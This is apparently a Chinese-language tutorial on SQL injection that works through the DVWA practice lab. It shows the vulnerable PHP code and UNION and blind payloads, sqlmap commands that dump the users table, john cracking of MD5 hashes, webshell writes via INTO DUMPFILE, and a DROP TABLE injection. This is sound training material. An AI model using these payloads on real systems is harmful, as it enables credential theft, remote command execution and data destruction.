通过DVWA学习SQL注入漏洞
SQL注入漏洞作为OWASP TOP10中重要的一部分,可见其安全性的危害有多大。简单地说,SQL注入就是通过构建特殊的具有SQL语法的语句,绕到数据库中进而执行相应的操作的漏洞。关于SQL注入更多的描述就不再多说了,网上资料也很多,下面就直接上笔记。
基于报错的检测方法:
各种符号以及组合: ‘ “ ( %基于布尔的检测:
1’ and ‘1’=’1和1’ and ‘1’=’2相当于1’ and ‘1和1’ and ‘0
当返回的结果不同时即有漏洞
几个常用的函数:
user()返回当前数据库连接使用的用户;
database()返回当前数据库连接使用的数据库;
version()返回当前数据库的版本;
concat或者concat-ws函数可以将这些函数进行组合使用并显示出来。concat函数中,将其中的参数直接连接起来产生新的字符串。而在concat_ws函数中,第一个参数是用于作为分隔符将后面各个参数的内容分隔开来再进行相应的连接产生新的字符串。以其常用的例子为例:
- concat_ws(char(32,58,32),user(),database(),version())
@@datadir @@hostname @@VERSION @@version_compile_os
Low级:
源代码:- <?php
- if(isset($_GET['Submit'])){
- // Retrieve data
- $id = $_GET['id'];
- $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
- $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
- $num = mysql_numrows($result);
- $i = 0;
- while ($i < $num) {
- $first = mysql_result($result,$i,"first_name");
- $last = mysql_result($result,$i,"last_name");
- echo '<pre>';
- echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
- echo '</pre>';
- $i++;
- }
- }
- ?>
下面就直接进行检测利用了:
先输入一个单引号,发现会报错,接着输入基于布尔检测的两条语句,发现第一条会直接返回信息,第二条没有反应,可以确定存在SQL注入漏洞:
接着通过order by语句猜测列数,一开始输入3时报错,改为2时正常输出,即可确定有两列:
再就是用union语句接上select语句使用前面提过的函数组合即可查询到用户、数据库及其版本等信息:
获取目标主机操作系统的信息:
知道数据库为dvwa后,查询所有的表名,可知道有两个:
可知users表更为重要,直接对其进行进一步的查询,查看其所有的列名:
列名在这里只选两项最为有价值的即user和password进行查询:
上面使用的组合方法都是一次性列出的,当然想分开看就换个语句:
payload为:
- 1' union select null,concat_ws(char(32,58,32),user,password) from users #
- 1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
当然,除了手工注入外,我们可以使用强大的SQL注入扫描工具sqlmap来进行扫描:
先来探测一下该页面是否存在SQL注入漏洞,因为DVWA是需要登录的,需要用到cookie信息。可以通过F12打开开发者工具来获取用户的cookie信息,当然也可以通过其他方式来获取:
将cookie信息复制上去--cookie参数上运行下面的命令:
- sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" --batch
其中-u参数指定目标URL,--batch参数采用默认选项、不进行询问。
结果发现是可注入的:
接着通过--dbs参数查看所有的数据库:
- sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" --dbs --batch
扫描发现所有的数据库:
- sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" -D dvwa --tables --batch
结果发现存在两个表,接着就扫描最感兴趣的users表了,通过-T参数指定表为users,--columns查看该表的所有列:
- sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" -D dvwa -T users --columns --batch
- sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" -D dvwa -T users --dump --batch
这样,几乎所有的信息都挖掘出来了,利用sqlmap来扫描的过程大致如此。
Medium级:
在中等级别的源代码如下:- <?php
- if (isset($_GET['Submit'])) {
- // Retrieve data
- $id = $_GET['id'];
- $id = mysql_real_escape_string($id);
- $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
- $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
- $num = mysql_numrows($result);
- $i=0;
- while ($i < $num) {
- $first = mysql_result($result,$i,"first_name");
- $last = mysql_result($result,$i,"last_name");
- echo '<pre>';
- echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
- echo '</pre>';
- $i++;
- }
- }
- ?>
\x00 |
\n |
\r |
\ |
' |
" |
\x1a |
虽然在代码中通过mysql_real_escape_string函数对一些敏感字符进行了相应的过滤,但是在SELECT语句中变量id的值的获取并没有通过外加单引号或者双引号来实现,即那层过滤也形同虚设,只需在输入中连需要闭合用的单引号等都不需要添加了,直接输入相应的语句即可:
例子中payload为:
- 1 union select table_name,table_schema from information_schema.tables
其他具体的挖掘参照low级别的操作即可。
High级:
在高等级别的源代码如下:
- <?php
- if (isset($_GET['Submit'])) {
- // Retrieve data
- $id = $_GET['id'];
- $id = stripslashes($id);
- $id = mysql_real_escape_string($id);
- if (is_numeric($id)){
- $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
- $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
- $num = mysql_numrows($result);
- $i=0;
- while ($i < $num) {
- $first = mysql_result($result,$i,"first_name");
- $last = mysql_result($result,$i,"last_name");
- echo '<pre>';
- echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
- echo '</pre>';
- $i++;
- }
- }
- }
- ?>
补充的知识:
无权读取information_schema以及不能执行union和order by语句:
上面的漏洞挖掘和信息查询等都是建立在当前用户有权读取information_schema库的基础上的,若无权则需要通过下列的逻辑判断来猜测相应的内容。猜测列名:
- ' and column is null #
其中column为猜测的列名
- ' and table.user is null #
其中table为猜测的当前表表名
- ' and (select count(*) from table)>0 #
其中table为猜测的其他表表名
- ' and users.user is null #
其中users和user为猜测的列表对应关系的两项
- ' or user='admin
- ' or user like '%a%
其中admin和包含字符a都是猜测字段的内容
- ' or user='admin' and password='286755fad04869ca523320acce0dc6a4
其中password中的MD5密码为猜测账号对应的密码
比较好的方法是通过Burpsuite运用Kali中的字典进行**:
先是查找相关字典,如关于列名的:
- find / -name *column*.txt
把文件中的井号开头的行去掉,以防在查询中出现问题:
- cat common-columns.txt |grep -v ^# > column.txt
接着上Burpsuite即可:
通过load选项上传文件:
通过观察长度值来判断是否有该列:
另外,查找的准确性与该txt文件中包含的列名的数量以及准确度有关,即**出来的不一定能找到所有的列。
后面信息的猜测方法也类似,就不再多说了。
注意一点的是在进行密码**时,可以先把密码字典文件通过md5sum命令将其都转化为MD5值然后再进行**即可。
Kali**密码:
识别密码类型:- hash-identifier
- john --format=raw-MD5 DVWA.txt
运行之后生成.jhon目录,进入目录,其中log后缀的文件记录john解密的细节,查看pot后缀文件也可以查看解开的密码:
读写文件:
读文件load_file()
写文件into dumpfile()
- 1' union select 1,"<?php passthru($_GET['cmd']);? >" into dumpfile 'a.php' #
在靶机上查找该文件,发现并不在www目录中:
尝试进入该目录,发现只能进入到mysql目录中,用ls查看一下发现dvwa目录是mysql用户的主目录,只有mysql用户对其具有所有的权限:
这也说明了为什么一开始不能直接将一句话木马写到www目录中,因为sql漏洞中的用户是mysql,其没有相应高的权限将文件写到www目录中,因而现在即使写入文件了也没办法进行利用。
OS有一个通用的目录/tmp,所有的用户都可以进行所有操作。
- 1' union select 1,"<?php passthru($_GET['cmd']);?>" into dumpfile '/tmp/a.php' #
接着结合文件包含漏洞将tmp目录中的a.php文件包含进来:
- cat php-reverse-shell.php | xxd -ps | tr -d ‘\n’
下面例子就只用一句话木马简单示范:
直接利用即可,在十六进制前加上0x:
- 1' union select 1,"0x3c3f706870206563686f207368656c6c5f6578656328245f4745545b27636d64275d293b3f3e" into dumpfile '/tmp/a.php' #
保存下载数据库into outfile()
结合文件包含漏洞使用,- 1' union select 1,concat_ws(char(32,58,32),user,password) from users into outfile '/tmp/user-psw.db' #
通过文件包含漏洞访问得到:
当数据库可写时:
除了SELECT语句之外,还可以利用其他的一些注入语句,从而绕过指定账号登陆的限制:
- ';updata users set user='wy' where user='admin
- ';updata users set password=’a' where user='admin
- ';insert into users () VALUES (); #
- ';drop table users; #
可以在Kali的应用程序>数据库评估软件>HexorBase中进行各种数据库语句的输入测试
但是在DVWA和HexorBase中却不会进行正常的处理。